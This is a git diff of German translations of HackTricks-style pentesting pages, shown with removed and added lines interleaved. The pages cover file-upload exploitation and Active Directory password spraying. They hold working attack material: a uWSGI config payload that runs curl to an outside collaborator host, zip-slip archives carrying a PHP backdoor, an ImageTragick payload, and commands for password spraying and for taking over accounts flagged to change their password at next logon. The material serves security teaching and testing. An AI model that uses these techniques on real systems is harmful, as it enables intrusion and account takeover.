Variablen, Platzhalter und Operatoren unterstützt. Insbesondere der '@' Operator, eingesetzt als `@(filename)`, ist dafür gedacht, den Inhalt einer Datei einzubinden. Unter den verschiedenen in uWSGI unterstützten Schemes ist das "exec" scheme besonders mächtig, da es das Lesen von Daten aus der Standardausgabe eines Prozesses erlaubt. Diese Funktion kann manipuliert werden, um Remote Command Execution oder Arbitrary File Write/Read zu ermöglichen, wenn eine `.ini`-Konfigurationsdatei verarbeitet wird. +Remote Command Execution (RCE) Verwundbarkeiten können bei uWSGI-Servern ausgenutzt werden, wenn man die Möglichkeit hat, die `.ini` Konfigurationsdatei zu verändern. uWSGI Konfigurationsdateien verwenden eine spezielle Syntax, um "magische" Variablen, Platzhalter und Operatoren einzubinden. Insbesondere der '@' Operator, verwendet als `@(filename)`, ist dafür vorgesehen, den Inhalt einer Datei einzubinden. Unter den verschiedenen in uWSGI unterstützten Schemes ist das "exec" scheme besonders mächtig, da es das Lesen von Daten aus der Standardausgabe eines Prozesses erlaubt. Diese Funktion kann für bösartige Zwecke wie Remote Command Execution oder Arbitrary File Write/Read missbraucht werden, wenn eine `.ini` Konfigurationsdatei verarbeitet wird. -Betrachte das folgende Beispiel einer bösartigen `uwsgi.ini`-Datei, das verschiedene schemes zeigt: +Betrachte das folgende Beispiel einer schädlichen `uwsgi.ini` Datei, die verschiedene Schemes demonstriert: ```ini [uwsgi] ; read from a symbol @@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -Die Ausführung des payloads erfolgt während des Parsings der Konfigurationsdatei. Damit die Konfiguration aktiviert und geparst wird, muss der uWSGI-Prozess entweder neu gestartet werden (möglicherweise nach einem Crash oder aufgrund eines Denial of Service-Angriffs) oder die Datei muss für auto-reload konfiguriert sein. Die auto-reload-Funktion, falls aktiviert, lädt die Datei in festgelegten Intervallen neu, wenn Änderungen erkannt werden. +Die Ausführung des payloads erfolgt während des Parsings der Konfigurationsdatei. Damit die Konfiguration aktiviert und geparst wird, muss der uWSGI-Prozess entweder neu gestartet werden (potenziell nach einem Crash oder aufgrund eines Denial of Service) oder die Datei muss auf auto-reload gesetzt sein. Die auto-reload-Funktion, falls aktiviert, lädt die Datei in festgelegten Intervallen neu, sobald Änderungen erkannt werden. -Es ist wichtig, die lockere Art der Verarbeitung von uWSGI-Konfigurationsdateien zu verstehen. Konkret kann der besprochene payload in eine Binärdatei (z. B. ein Bild oder PDF) eingefügt werden, was die Angriffsfläche weiter vergrößert. +Es ist entscheidend, die lockere Natur des Parsing der Konfigurationsdateien von uWSGI zu verstehen. Konkret kann der besprochene payload in eine binäre Datei (wie ein Bild oder PDF) eingefügt werden, wodurch der mögliche Exploit-Bereich weiter vergrößert wird. ## **wget File Upload/SSRF Trick** -In einigen Fällen stellt man fest, dass ein Server **`wget`** verwendet, um **Dateien herunterzuladen**, und man die **URL** angeben kann. In diesen Fällen prüft der Code möglicherweise, ob die Extension der heruntergeladenen Dateien in einer Whitelist enthalten ist, um sicherzustellen, dass nur erlaubte Dateien heruntergeladen werden. Allerdings lässt sich **dieser Check umgehen.**\ -Die **maximale** Länge eines **Dateinamens** in **linux** beträgt **255**, jedoch kürzt **wget** die Dateinamen auf **236** Zeichen. Du kannst eine Datei namens **"A"\*232+".php"+".gif"** herunterladen; dieser Dateiname wird die **Prüfung umgehen** (in diesem Beispiel ist **".gif"** eine **gültige** Erweiterung), aber `wget` wird die Datei in **"A"\*232+".php"** umbenennen. +In einigen Fällen kann es vorkommen, dass ein Server **`wget`** verwendet, um **Dateien herunterzuladen**, und man die **URL** angeben kann. In solchen Fällen prüft der Code möglicherweise, ob die Extension der heruntergeladenen Dateien in einer Whitelist enthalten ist, um sicherzustellen, dass nur erlaubte Dateien heruntergeladen werden. **Diese Prüfung kann jedoch umgangen werden.**\ +Die **maximale** Länge eines **Dateinamens** in **linux** beträgt **255**, jedoch kürzt **wget** die Dateinamen auf **236** Zeichen. Man kann **eine Datei namens "A"\*232+".php"+".gif" herunterladen**, dieser Dateiname wird die **Prüfung umgehen** (da in diesem Beispiel **".gif"** eine **gültige** Extension ist), aber `wget` wird die Datei in **"A"\*232+".php"** umbenennen. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -156,35 +156,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Beachte, dass **eine andere Option**, die dir vielleicht einfällt, um diese Prüfung zu umgehen, darin besteht, den **HTTP server so umzuleiten, dass er auf eine andere Datei zeigt**, sodass die ursprüngliche URL die Prüfung umgeht und wget dann die umgeleitete Datei mit dem neuen Namen herunterlädt. Das **funktioniert nicht**, **es sei denn** wget wird mit dem **Parameter** `--trust-server-names` verwendet, weil **wget die umgeleitete Seite mit dem Namen der Datei aus der ursprünglichen URL herunterladen wird**. +Beachte, dass **eine andere Option**, die dir möglicherweise einfällt, um diese Prüfung zu umgehen, darin besteht, den **HTTP-Server auf eine andere Datei umzuleiten**, sodass die ursprüngliche URL die Prüfung umgeht und wget dann die umgeleitete Datei mit dem neuen Namen herunterlädt. Das **funktioniert nicht**, **es sei denn** wget wird mit dem **Parameter** `--trust-server-names` verwendet, weil **wget die umgeleitete Seite mit dem Namen der Datei herunterladen wird, der in der ursprünglichen URL angegeben ist**. -## Tools +## Werkzeuge -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) ist ein mächtiges Tool, das entwickelt wurde, um Pentesters und Bug Hunters beim Testen von file upload-Mechanismen zu unterstützen. Es nutzt verschiedene bug bounty-Techniken, um den Prozess der Identifizierung und Ausnutzung von Schwachstellen zu vereinfachen und so gründliche Bewertungen von Webanwendungen zu ermöglichen. +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) ist ein leistungsstarkes Tool, das Pentesters und Bug Hunters dabei unterstützt, file upload-Mechanismen zu testen. Es nutzt verschiedene bug bounty-Techniken, um den Prozess der Identifizierung und Ausnutzung von Schwachstellen zu vereinfachen und so gründliche Bewertungen von Webanwendungen zu ermöglichen. ### Corrupting upload indices with snprintf quirks (historical) -Einige veraltete upload handler, die `snprintf()` oder ähnliches verwenden, um multi-file arrays aus einem single-file upload zu bauen, können dazu gebracht werden, die `_FILES`-Struktur zu fälschen. Aufgrund von Inkonsistenzen und Abschneidungen im Verhalten von `snprintf()` kann ein sorgfältig gestalteter single upload auf der Serverseite als mehrere indizierte Dateien erscheinen und Logik verwirren, die eine strikte Form annimmt (z. B. als multi-file upload behandelt und unsichere Pfade wählt). Obwohl heute nischenhaft, taucht dieses „index corruption“-Muster gelegentlich in CTFs und älteren Codebasen wieder auf. +Einige veraltete Upload-Handler, die `snprintf()` oder ähnliches verwenden, um multi-file arrays aus einem single-file upload zu bauen, können dazu verleitet werden, die `_FILES`-Struktur zu fälschen. Aufgrund von Inkonsistenzen und Abschneidungen im Verhalten von `snprintf()` kann ein sorgfältig gestalteter einzelner Upload auf der Serverseite als mehrere indizierte Dateien erscheinen und somit Logik verwirren, die eine feste Form annimmt (z. B. ihn als multi-file upload behandelt und unsichere Pfade wählt). Obwohl heute eher nischig, taucht dieses „index corruption“-Muster gelegentlich in CTFs und älterem Code wieder auf. -## From File upload to other vulnerabilities +## Vom File-Upload zu anderen Schwachstellen - Setze **filename** auf `../../../tmp/lol.png` und versuche, einen **path traversal** zu erreichen - Setze **filename** auf `sleep(10)-- -.jpg` und du könntest eine **SQL injection** erreichen -- Setze **filename** auf `` um ein XSS zu erreichen +- Setze **filename** auf `` um eine **XSS** zu erzielen - Setze **filename** auf `; sleep 10;` um einige command injection-Fälle zu testen (mehr [command injections tricks here](../command-injection.md)) - [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) - **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) - [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload) - [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) -- Probiere **verschiedene svg payloads** von [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +- Probiere **different svg payloads** von [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) - [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -- Wenn du dem web server mitteilen kannst, ein image von einer URL zu holen, könntest du versuchen, ein [SSRF](../ssrf-server-side-request-forgery/index.html) auszunutzen. Wenn dieses **image** an einem **öffentlichen** Ort gespeichert wird, könntest du auch eine URL von [https://iplogger.org/invisible/](https://iplogger.org/invisible/) angeben und **Informationen jedes Besuchers stehlen**. +- Wenn du dem Webserver **anweisen** kannst, ein Bild von einer URL zu holen, könntest du versuchen, ein [SSRF](../ssrf-server-side-request-forgery/index.html) auszunutzen. Wenn dieses **image** an einem **öffentlichen** Ort gespeichert wird, könntest du auch eine URL von [https://iplogger.org/invisible/](https://iplogger.org/invisible/) angeben und **Informationen jedes Besuchers stehlen**. - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) -- Speziell gestaltete PDFs für XSS: Die [folgende Seite zeigt, wie man **PDF-Daten injiziert, um JS-Ausführung zu erhalten**](../xss-cross-site-scripting/pdf-injection.md). Wenn du PDFs uploaden kannst, könntest du ein PDF vorbereiten, das beliebiges JS gemäß den gegebenen Anweisungen ausführt. -- Upload des \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) Inhalts, um zu prüfen, ob der Server ein **antivirus** hat -- Prüfe, ob es eine **Größenbeschränkung** beim Upload von Dateien gibt +- Speziell gestaltete PDFs für XSS: Die [folgende Seite zeigt, wie man **PDF-Daten injiziert, um JS-Ausführung zu erreichen**](../xss-cross-site-scripting/pdf-injection.md). Wenn du PDFs hochladen kannst, könntest du ein PDF vorbereiten, das gemäß den angegebenen Hinweisen beliebiges JS ausführt. +- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content, um zu prüfen, ob der Server irgendeine **antivirus**-Lösung hat +- Prüfe, ob es eine **Größenbegrenzung** beim Hochladen von Dateien gibt -Hier ist eine Top-10-Liste von Dingen, die du durch Upload erreichen kannst (von [hier](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): +Hier ist eine Top-10-Liste von Dingen, die du durch Upload erreichen kannst (von [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE 2. **SVG**: Stored XSS / SSRF / XXE @@ -204,39 +204,39 @@ Hier ist eine Top-10-Liste von Dingen, die du durch Upload erreichen kannst (von https://github.com/portswigger/upload-scanner {{#endref}} -## Magic Header Bytes +## Magische Header-Bytes - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` - **JPG**: `"\xff\xd8\xff"` -Siehe [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) für andere Dateitypen. +Siehe [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) für weitere Dateitypen. -## Zip/Tar File Automatically decompressed Upload +## Zip/Tar-Datei, die automatisch entpackt wird -Wenn du eine ZIP hochladen kannst, die auf dem Server dekomprimiert wird, kannst du zwei Dinge tun: +Wenn du eine ZIP hochladen kannst, die auf dem Server entpackt wird, kannst du zwei Dinge tun: ### Symlink -Upload eines Archives, das soft links zu anderen Dateien enthält; beim Zugriff auf die dekomprimierten Dateien greifst du auf die verlinkten Dateien zu: +Lade einen Link hoch, der soft links zu anderen Dateien enthält; beim Zugriff auf die entpackten Dateien greifst du auf die verlinkten Dateien zu: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt tar -cvf test.tar symindex.txt ``` -### In verschiedene Ordner entpacken +### In verschiedene Ordner dekomprimieren -Die unerwartete Erstellung von Dateien in Verzeichnissen während des Dekomprimierens ist ein erhebliches Problem. Trotz der anfänglichen Annahme, dass diese Konfiguration gegen OS-level command execution durch malicious file uploads schützen könnte, können die hierarchische Kompressionsunterstützung und die directory traversal-Fähigkeiten des ZIP archive format ausgenutzt werden. Dadurch können Angreifer Einschränkungen umgehen und aus sicheren upload directories ausbrechen, indem sie die decompression functionality der angegriffenen Anwendung manipulieren. +Die unerwartete Erstellung von Dateien in Verzeichnissen während der Dekomprimierung ist ein erhebliches Problem. Trotz der anfänglichen Annahme, dass diese Konfiguration OS-level command execution durch malicious file uploads verhindern könnte, lassen sich die hierarchische Komprimierungsunterstützung und die directory traversal-Fähigkeiten des ZIP archive format ausnutzen. Dadurch können Angreifer Einschränkungen umgehen und aus sicheren Upload-Verzeichnissen entkommen, indem sie die Dekomprimierungsfunktionalität der Zielanwendung manipulieren. -Ein automatisierter Exploit zum Erstellen solcher Dateien ist verfügbar unter [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Das Tool kann wie folgt verwendet werden: +Ein automatisierter Exploit zum Erstellen solcher Dateien ist unter [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) verfügbar. Das Tool kann wie folgt verwendet werden: ```python # Listing available options python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -Außerdem ist der **symlink trick with evilarc** eine Option. Wenn das Ziel darin besteht, eine Datei wie `/flag.txt` anzugreifen, sollte ein Symlink zu dieser Datei auf Ihrem System erstellt werden. Dadurch treten während der Ausführung von evilarc keine Fehler auf. +Zusätzlich ist der **symlink trick with evilarc** eine Option. Wenn das Ziel darin besteht, eine Datei wie `/flag.txt` anzuvisieren, sollte ein symlink zu dieser Datei in Ihrem System erstellt werden. Das stellt sicher, dass evilarc während seiner Ausführung nicht auf Fehler stößt. -Nachfolgend ein Beispiel für Python-Code, der verwendet wird, um eine bösartige ZIP-Datei zu erstellen: +Nachfolgend ein Beispiel für Python code, das verwendet wird, um eine malicious zip file zu erstellen: ```python #!/usr/bin/python import zipfile @@ -254,11 +254,11 @@ zip.close() create_zip() ``` -**Komprimierung zum file spraying missbrauchen** +**Komprimierung zum file spraying ausnutzen** -Für weitere Details **siehe den Originalpost unter**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) +Für weitere Details **siehe den Originalbeitrag**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **Erstellen einer PHP-Shell**: PHP-Code wird geschrieben, um Befehle auszuführen, die über die `$_REQUEST`-Variable übergeben werden. +1. **Creating a PHP Shell**: PHP-Code wird geschrieben, um Befehle auszuführen, die über die `$_REQUEST`-Variable übergeben werden. ```php ``` -2. **File Spraying und Erstellung eines komprimierten Archivs**: Mehrere Dateien werden erstellt und ein zip-Archiv wird zusammengestellt, das diese Dateien enthält. +2. **File Spraying and Compressed File Creation**: Mehrere Dateien werden erstellt und ein zip-Archiv mit diesen Dateien angelegt. ```bash root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# zip cmd.zip xx*.php ``` -3. **Änderung mit Hex-Editor oder vi**: Die Namen der Dateien im Zip werden mit vi oder einem Hex-Editor geändert, wobei "xxA" in "../" geändert wird, um Verzeichnisse zu traversieren. +3. **Modification with a Hex Editor or vi**: Die Namen der Dateien im zip werden mit vi oder einem Hex-Editor verändert, indem "xxA" zu "../" geändert wird, um Verzeichnisse zu traversieren. ```bash :set modifiable @@ -285,7 +285,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php ## ImageTragic -Lade diesen Inhalt mit einer Bild-Dateiendung hoch, um die vulnerability auszunutzen **(ImageMagick, 7.0.1-1)** (aus dem [exploit](https://www.exploit-db.com/exploits/39767)) +Lade diesen Inhalt mit einer Bild-Erweiterung hoch, um die Schwachstelle auszunutzen **(ImageMagick , 7.0.1-1)** (aus dem [exploit](https://www.exploit-db.com/exploits/39767)) ``` push graphic-context viewbox 0 0 640 480 @@ -294,29 +294,29 @@ pop graphic-context ``` ## Einbetten einer PHP Shell in PNG -Das Einbetten einer PHP Shell in den IDAT-Chunk einer PNG-Datei kann bestimmte Bildverarbeitungs-Operationen effektiv umgehen. Die Funktionen `imagecopyresized` und `imagecopyresampled` von PHP-GD sind in diesem Zusammenhang besonders relevant, da sie häufig zum Verkleinern bzw. Resampling von Bildern verwendet werden. Dass die eingebettete PHP Shell von diesen Operationen unberührt bleiben kann, ist für bestimmte Anwendungsfälle ein deutlicher Vorteil. +Das Einbetten einer PHP Shell in den IDAT-Chunk einer PNG-Datei kann bestimmte Bildverarbeitungsoperationen effektiv umgehen. Die Funktionen `imagecopyresized` und `imagecopyresampled` aus PHP-GD sind in diesem Zusammenhang besonders relevant, da sie üblicherweise zum Skalieren bzw. Resampling von Bildern verwendet werden. Dass die eingebettete PHP Shell von diesen Operationen unbeeinträchtigt bleibt, ist für bestimmte Anwendungsfälle ein deutlicher Vorteil. -Eine detaillierte Untersuchung dieser Technik, einschließlich Methodik und möglicher Anwendungen, findet sich im folgenden Artikel: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Diese Ressource bietet ein umfassendes Verständnis des Prozesses und seiner Implikationen. +Eine detaillierte Untersuchung dieser Technik, einschließlich Methodik und möglicher Anwendungsfälle, findet sich in folgendem Artikel: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Diese Ressource bietet ein umfassendes Verständnis des Prozesses und seiner Implikationen. Mehr Informationen unter: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) -## Polyglot Files +## Polyglot-Dateien -Polyglot files dienen im Bereich der Cybersicherheit als Chamäleons, die gleichzeitig in mehreren Dateiformaten gültig sein können. Ein interessantes Beispiel ist ein [GIFAR](https://en.wikipedia.org/wiki/Gifar), ein Hybrid, der sowohl als GIF als auch als RAR-Archiv funktioniert. Solche Dateien beschränken sich nicht auf dieses Paar; Kombinationen wie GIF und JS oder PPT und JS sind ebenfalls möglich. +Polyglot-Dateien sind ein einzigartiges Werkzeug in der Cybersicherheit und funktionieren wie Chamäleons, da sie gleichzeitig in mehreren Dateiformaten gültig sein können. Ein interessantes Beispiel ist ein [GIFAR](https://en.wikipedia.org/wiki/Gifar), eine Hybriddatei, die sowohl als GIF als auch als RAR-Archiv funktioniert. Solche Dateien beschränken sich nicht auf dieses Paar; Kombinationen wie GIF und JS oder PPT und JS sind ebenfalls möglich. -Der Hauptnutzen von polyglot files liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien nach Typ filtern. Gängige Praxis in vielen Anwendungen ist es, nur bestimmte Dateitypen zum Hochladen zuzulassen — etwa JPEG, GIF oder DOC — um das Risiko durch potenziell gefährliche Formate (z. B. JS, PHP oder Phar) zu verringern. Ein Polyglot kann jedoch, da er die strukturellen Kriterien mehrerer Dateitypen erfüllt, diese Beschränkungen unauffällig umgehen. +Der Kernnutzen von Polyglot-Dateien liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien anhand ihres Typs prüfen. In vielen Anwendungen werden nur bestimmte Dateitypen zum Upload erlaubt — z. B. JPEG, GIF oder DOC — um das Risiko potenziell gefährlicher Formate (z. B. JS, PHP oder Phar) zu reduzieren. Ein Polyglot, der die strukturellen Kriterien mehrerer Dateitypen erfüllt, kann diese Beschränkungen unauffällig umgehen. -Trotz ihrer Anpassungsfähigkeit stoßen Polyglots auf Einschränkungen. Zum Beispiel kann ein Polyglot zwar gleichzeitig eine PHAR-Datei (PHp ARchive) und ein JPEG darstellen, der Erfolg des Uploads hängt jedoch von den Richtlinien der Plattform bezüglich Dateiendungen ab. Wenn das System strikte Vorgaben für erlaubte Extensions hat, reicht die rein strukturelle Dualität eines Polyglot möglicherweise nicht aus, um den Upload sicherzustellen. +Trotz ihrer Anpassungsfähigkeit stoßen Polyglots auf Einschränkungen. Beispielsweise kann ein Polyglot zwar gleichzeitig eine PHAR-Datei (PHp ARchive) und ein JPEG darstellen, der Erfolg des Uploads hängt jedoch oft von den Richtlinien bzgl. Dateierweiterungen der Plattform ab. Ist das System streng bei erlaubten Extensions, reicht die strukturelle Dualität eines Polyglots möglicherweise nicht aus, um den Upload zu gewährleisten. Mehr Informationen unter: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) -### Upload valid JSONs like if it was PDF +### Gültige JSONs hochladen, als wären sie PDF -Wie man Dateityp-Erkennungen umgeht, indem man eine gültige JSON-Datei hochlädt, selbst wenn dies nicht erlaubt ist, indem man sie als PDF fälscht (Techniken aus **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): +Wie man Dateityp-Erkennungen umgeht, indem man eine gültige JSON-Datei hochlädt, obwohl das nicht erlaubt ist, indem man sie als PDF vortäuscht (Techniken aus **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): -- **`mmmagic` library**: Solange die `%PDF` magic bytes in den ersten 1024 bytes sind, ist es valid (get example from post) -- **`pdflib` library**: Add a fake PDF format inside a filed of the JSON so the library thinks it’s a pdf (get example from post) -- **`file` binary**: It can read up to 1048576 bytes from a file. Just create a JSON bigger than that so it cannot parse the content as a json and then inside the JSON put the initial part of a real PDF and it’ll think it’s a PDF +- **`mmmagic` library**: Solange die `%PDF` Magic-Bytes in den ersten 1024 Bytes stehen, gilt die Datei als gültig (Beispiel im Artikel) +- **`pdflib` library**: Füge ein gefälschtes PDF-Format in ein Feld des JSON ein, sodass die Library denkt, es sei ein PDF (Beispiel im Artikel) +- **`file` binary**: Es kann bis zu 1048576 Bytes aus einer Datei lesen. Erstelle einfach ein JSON, das größer ist als das, so dass es den Inhalt nicht als JSON parsen kann, und füge dann innerhalb des JSON den Anfangsteil eines echten PDFs ein — es wird es als PDF erkennen ## Referenzen diff --git a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md index 05a81f83d..bcb93eabf 100644 --- a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md +++ b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md @@ -2,6 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -**Siehe den großartigen Beitrag von:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/) +**Schauen Sie sich den großartigen Beitrag an:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md index 171c3bce5..b0bc2112f 100644 --- a/src/windows-hardening/active-directory-methodology/password-spraying.md +++ b/src/windows-hardening/active-directory-methodology/password-spraying.md @@ -5,16 +5,16 @@ ## **Password Spraying** -Sobald Sie mehrere **valid usernames** gefunden haben, können Sie mit jedem der entdeckten Benutzer die gebräuchlichsten **common passwords** ausprobieren (achten Sie auf die **password policy** der Umgebung).\ -Per **default** beträgt die **minimum** **password** **length** **7**. +Sobald Sie mehrere **valid usernames** gefunden haben, können Sie bei jedem der entdeckten Benutzer die häufigsten **common passwords** ausprobieren (berücksichtigen Sie dabei die **password policy** der Umgebung).\ +By **default** the **minimum** **password** **length** is **7**. -Listen mit common usernames können ebenfalls nützlich sein: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) +Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) Beachten Sie, dass Sie **could lockout some accounts if you try several wrong passwords** (by default more than 10). ### Get password policy -Wenn Sie Benutzer-Credentials oder eine Shell als Domain-Benutzer haben, können Sie **get the password policy with**: +Wenn Sie über user credentials oder eine shell als domain user verfügen, können Sie **get the password policy with**: ```bash # From Linux crackmapexec -u 'user' -p 'password' --pass-pol @@ -31,9 +31,9 @@ net accounts (Get-DomainPolicy)."SystemAccess" #From powerview ``` -### Exploitation von Linux (oder allen) +### Ausnutzung von Linux (oder allgemein) -- Mit **crackmapexec:** +- Verwendung von **crackmapexec:** ```bash crackmapexec smb -u users.txt -p passwords.txt # Local Auth Spray (once you found some local admin pass or hash) @@ -47,11 +47,11 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c # Brute-Force ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman ``` -- [**spray**](https://github.com/Greenwolf/Spray) _**(Sie können die Anzahl der Versuche angeben, um Sperrungen zu vermeiden):**_ +- [**spray**](https://github.com/Greenwolf/Spray) _**(du kannst die Anzahl der Versuche angeben, um Sperrungen zu vermeiden):**_ ```bash spray.sh -smb ``` -- Verwendung von [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NICHT EMPFOHLEN, FUNKTIONIERT MANCHMAL NICHT +- Verwendung von [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NICHT EMPFOHLEN; FUNKTIONIERT MANCHMAL NICHT ```bash python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt @@ -67,9 +67,9 @@ for u in $(cat users.txt); do rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority; done ``` -#### Von Windows +#### Unter Windows -- Mit einer [Rubeus](https://github.com/Zer1t0/Rubeus)-Version mit dem brute module: +- Mit der [Rubeus](https://github.com/Zer1t0/Rubeus)-Version mit dem brute-Modul: ```bash # with a list of users .\Rubeus.exe brute /users: /passwords: /domain: /outfile: @@ -77,7 +77,7 @@ done # check passwords for all users in current domain .\Rubeus.exe brute /passwords: /outfile: ``` -- Mit [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Es kann standardmäßig Benutzer aus der Domäne erzeugen, liest die Passwort-Richtlinie aus der Domäne und begrenzt die Anzahl der Versuche entsprechend.) +- Mit [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Es kann standardmäßig Benutzer aus der Domäne generieren, die Passwortrichtlinie der Domäne abrufen und die Versuche entsprechend einschränken): ```bash Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` @@ -85,12 +85,12 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` Invoke-SprayEmptyPassword ``` -### Identifizieren und Übernehmen von "Password must change at next logon" Accounts (SAMR) +### Identifizieren und Übernehmen von "Password must change at next logon" Konten (SAMR) -Eine geräuscharme Technik ist, ein benign/empty password zu sprayen und Accounts abzufangen, die STATUS_PASSWORD_MUST_CHANGE zurückgeben. Das zeigt an, dass das Passwort zwangsweise abgelaufen ist und ohne Kenntnis des alten Passworts geändert werden kann. +Eine geräuscharme Technik besteht darin, ein harmloses/leeres Passwort zu sprayen und Konten zu erfassen, die STATUS_PASSWORD_MUST_CHANGE zurückgeben. Das weist darauf hin, dass das Passwort zwangsweise abgelaufen ist und ohne Kenntnis des alten Passworts geändert werden kann. -Ablauf: -- Benutzer enumerieren (RID brute via SAMR), um die Zielliste zu erstellen: +Workflow: +- Benutzer enumerieren (RID brute via SAMR), um die Zielliste aufzubauen: {{#ref}} ../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md @@ -99,12 +99,12 @@ Ablauf: # NetExec (null/guest) + RID brute to harvest users netexec smb -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt ``` -- Spraye ein leeres Passwort und fahre bei Treffern fort, um Konten zu übernehmen, die bei der nächsten Anmeldung zur Passwortänderung gezwungen werden: +- Spray ein leeres Passwort und mache bei hits weiter, um accounts zu erfassen, die beim next logon ihr Passwort ändern müssen: ```bash # Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results netexec smb -u users.txt -p '' --continue-on-success ``` -- Für jeden Treffer das Passwort über SAMR mit NetExec’s Modul ändern (altes Passwort nicht erforderlich, wenn "must change" gesetzt ist): +- Für jeden Treffer das Passwort über SAMR mit NetExec’s module ändern (kein altes Passwort erforderlich, wenn "must change" gesetzt ist): ```bash # Strong complexity to satisfy policy env NEWPASS='P@ssw0rd!2025#' ; \ @@ -114,24 +114,24 @@ netexec smb -u -p '' -M change-password -o NEWPASS="$NEWPASS" netexec smb -u -p "$NEWPASS" --pass-pol ``` Betriebliche Hinweise: -- Stellen Sie sicher, dass die 